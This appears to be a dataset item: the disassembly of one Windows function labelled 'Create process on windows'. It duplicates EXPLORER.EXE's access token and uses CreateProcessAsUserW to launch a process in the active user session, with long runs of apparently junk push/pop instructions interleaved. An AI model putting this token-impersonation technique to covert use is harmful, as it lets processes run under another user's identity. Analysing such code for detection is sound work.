Function at 0x439035
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x206c
call fcn.00425a20
mov eax, dword [0x628144]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [ebp + 0x10], 0
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 0x2008], eax
je 0x43944a
call fcn.00426a32
test al, al
je 0x439088
push eax
push ebp
push ebp
push edi
push esp
push esp
push edx
push esp
pop eax
pop esi
push esp
push edi
pop eax
push esi
pop ebp
pop edi
push ebp
push ecx
push eax
push esp
push esi
push ebx
push ebx
push edx
push ecx
pop ebp
call fcn.0042691e
test al, al
je 0x4390a6
push esi
pop edi
push eax
push ecx
push esi
push esi
pop ecx
push esi
pop ecx
push eax
push edx
push eax
pop ebp
pop esi
push eax
pop ecx
pop esp
pop edi
push eax
pop edx
pop edx
xor edi, edi
lea eax, [ebp - 0x2004]
push 0x2000
push edi
push eax
mov dword [ebp - 0x2010], edi
mov dword [ebp - 0x200c], edi
call fcn.00442fd0
push dword [ebp - 0x2008]
lea eax, [ebp - 0x2004]
push ebx
push str.__s___s
push eax
call fcn.00408c70
add esp, 0x1c
call fcn.004269ed
test al, al
je 0x439103
pop esp
push eax
push esp
push ebx
pop edx
pop ebp
pop ebp
pop edx
pop ebp
pop esi
push edx
pop ebp
pop edx
push ebx
pop ebx
push ebx
push ecx
pop ecx
pop eax
pop edx
pop esp
pop ebp
pop eax
push ebx
push esp
push str.EXPLORER.EXE
call fcn.004396ce
pop ecx
push eax
push edi
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x2018], eax
test eax, eax
je 0x4392d2
lea ecx, [ebp - 0x2010]
mov esi, 0xf01ff
push ecx
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4392d2
lea eax, [ebp - 0x200c]
push eax
push 1
push 1
push edi
push esi
push dword [ebp - 0x2010]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x4392d2
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x4391b5
push str.WTSGetActiveConsoleSessionId
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4391ae
call eax
push 4
mov dword [ebp - 0x2014], eax
lea eax, [ebp - 0x2014]
push eax
push 0xc
push dword [ebp - 0x200c]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
test eax, eax
je 0x4392d2
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x44
pop esi
push esi
lea eax, [ebp - 0x206c]
push edi
push eax
call fcn.00442fd0
push 0x10
lea eax, [ebp - 0x2028]
push edi
push eax
call fcn.00442fd0
add esp, 0x18
mov dword [ebp - 0x206c], esi
call fcn.00426513
test al, al
je 0x439204
pop esi
pop eax
push edx
push edx
push esi
pop esp
pop eax
pop edi
pop esi
pop esp
push esi
pop eax
push esp
push eax
push ebp
push ebx
pop ebp
push edx
push esp
pop edx
push edx
pop edx
push edx
push eax
pop eax
pop ecx
push esp
xor edi, edi
call fcn.00426a77
test al, al
je 0x43922c
push edx
pop ebp
pop ebx
pop ecx
pop ebx
push ebx
pop ebx
push edi
pop esi
push edx
push ebx
pop ebp
push ecx
push ecx
pop esp
pop edi
pop edx
push eax
pop ebp
pop esi
pop edi
push edx
pop ebp
push ebp
pop eax
push ebx
push edx
push eax
pop eax
xor edi, edi
push 5
pop eax
mov dword [ebp - 0x2064], str.WinSta0Default
mov word [ebp - 0x203c], ax
mov dword [ebp - 0x2040], 1
mov dword [ebp - 0x2008], edi
call fcn.004269ed
test al, al
je 0x439272
pop esp
push eax
push esp
push ebx
pop edx
pop ebp
pop ebp
pop edx
pop ebp
pop esi
push edx
pop ebp
pop edx
push ebx
pop ebx
push ebx
push ecx
pop ecx
pop eax
pop edx
pop esp
pop ebp
pop eax
push ebx
push esp
push edi
push dword [ebp - 0x200c]
lea eax, [ebp - 0x2008]
push eax
call sub.USERENV.dll_CreateEnvironmentBlock
test eax, eax
je 0x4392d2
lea eax, [ebp - 0x2028]
push eax
lea eax, [ebp - 0x206c]
push eax
push edi
push dword [ebp - 0x2008]
lea eax, [ebp - 0x2004]
push 0x430
push edi
push edi
push edi
push eax
push edi
push dword [ebp - 0x200c]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
je 0x4392d2
cmp dword [ebp - 0x2008], 0
je 0x4392d2
push dword [ebp - 0x2008]
call sub.USERENV.dll_DestroyEnvironmentBlock
call fcn.00426444
test al, al
je 0x4392f8
pop esp
pop ebx
push edx
pop ebx
pop ecx
push edx
push eax
push ebx
pop eax
pop edi
pop edi
push esi
push esp
push edx
push ecx
pop ecx
push ebx
pop edi
pop ebx
push esp
pop ebp
pop esi
pop eax
pop esp
push eax
pop eax
push edx
pop eax
push ebp
call fcn.00426a32
test al, al
je 0x43931a
pop eax
pop ecx
push eax
pop ebp
push edx
push ebp
pop eax
pop esp
pop ebp
push edi
pop ebx
pop ebx
pop edi
push ecx
push ebp
push esp
push eax
push esp
pop eax
pop edi
pop ebx
pop edi
push esi
push edx
pop esi
call fcn.004265e2
test al, al
je 0x43933f
pop eax
pop ecx
pop ebp
pop ecx
pop ecx
push ebx
pop eax
pop edx
pop edx
push esi
pop eax
pop esi
pop ebx
pop esp
pop eax
push ebx
pop ebp
push esi
pop ebp
push edi
push edx
pop edi
pop ecx
push ebp
push esp
push esi
pop edi
push ebp
mov eax, dword [ebp - 0x200c]
test eax, eax
je 0x439355
cmp eax, 0xffffffff
je 0x439355
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00426513
test al, al
je 0x439370
pop edi
pop esi
push ebp
push esi
pop edi
push eax
pop eax
push esi
pop edx
pop edi
push ecx
pop eax
push edx
pop ecx
push ebp
pop ecx
push ebx
pop edx
call fcn.00426abc
test al, al
je 0x439397
pop esp
push eax
pop esi
pop esi
push eax
push eax
push edi
push ecx
pop ebx
push eax
push edi
push ebp
pop esp
push eax
push esi
push ebp
push ecx
pop esi
push eax
pop edx
pop edi
push ecx
pop eax
push esp
push esi
pop edx
pop esp
pop ebx
push eax
push esi
call fcn.00426627
test al, al
je 0x4393b2
push eax
pop edi
pop ecx
push ebp
pop edi
pop ecx
push ecx
push ecx
push edi
pop ebp
pop ebx
pop ecx
push eax
push edi
push ebx
push edi
push ebx
push esp
mov eax, dword [ebp - 0x2010]
test eax, eax
je 0x4393c8
cmp eax, 0xffffffff
je 0x4393c8
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x2018], 0
jne 0x4393d9
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00426444
test al, al
je 0x4393ff
pop esp
pop ebx
push edx
pop ebx
pop ecx
push edx
push eax
push ebx
pop eax
pop edi
pop edi
push esi
push esp
push edx
push ecx
pop ecx
push ebx
pop edi
pop ebx
push esp
pop ebp
pop esi
pop eax
pop esp
push eax
pop eax
push edx
pop eax
push ebp
call fcn.00426a32
test al, al
je 0x439421
pop eax
pop ecx
push eax
pop ebp
push edx
push ebp
pop eax
pop esp
pop ebp
push edi
pop ebx
pop ebx
pop edi
push ecx
push ebp
push esp
push eax
push esp
pop eax
pop edi
pop ebx
pop edi
push esi
push edx
pop esi
call fcn.004265e2
test al, al
je 0x439446
pop eax
pop ecx
pop ebp
pop ecx
pop ecx
push ebx
pop eax
pop edx
pop edx
push esi
pop eax
pop esi
pop ebx
pop esp
pop eax
push ebx
pop ebp
push esi
pop ebp
push edi
push edx
pop edi
pop ecx
push ebp
push esp
push esi
pop edi
push ebp
xor al, al
jmp 0x43945f
push 0
push 0
push 0
push eax
push ebx
call fcn.00438da9
add esp, 0x14
test eax, eax
setne al
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042578a
mov esp, ebp
pop ebp
ret